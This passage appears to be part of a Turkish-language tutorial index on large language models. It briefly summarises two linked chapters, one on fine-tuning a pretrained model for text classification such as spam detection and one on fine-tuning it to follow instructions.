||||
|
||||
{% hint style="success" %}
|
||||
Bu bölümün amacı, LLM'nin yeni metin oluşturmak yerine **verilen metnin her bir verilen kategoriye sınıflandırılma olasılıklarını** seçmesini sağlamak için zaten önceden eğitilmiş bir modeli nasıl ince ayar yapacağınızı göstermektir (örneğin, bir metnin spam olup olmadığını belirlemek).
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="7.1.-fine-tuning-for-classification.md" %}
|
||||
[7.1.-fine-tuning-for-classification.md](7.1.-fine-tuning-for-classification.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 7.2. Fine-Tuning to follow instructions
|
||||
|
||||
{% hint style="success" %}
|
||||
Bu bölümün amacı, sadece metin oluşturmak yerine **talimatları takip etmek için zaten önceden eğitilmiş bir modeli nasıl ince ayar yapacağınızı** göstermektir; örneğin, bir sohbet botu olarak görevlere yanıt vermek.
|
||||
{% endhint %}
|
||||
|
||||
{% content-ref url="7.2.-fine-tuning-to-follow-instructions.md" %}
|
||||
[7.2.-fine-tuning-to-follow-instructions.md](7.2.-fine-tuning-to-follow-instructions.md)
|
||||
{% endcontent-ref %}
|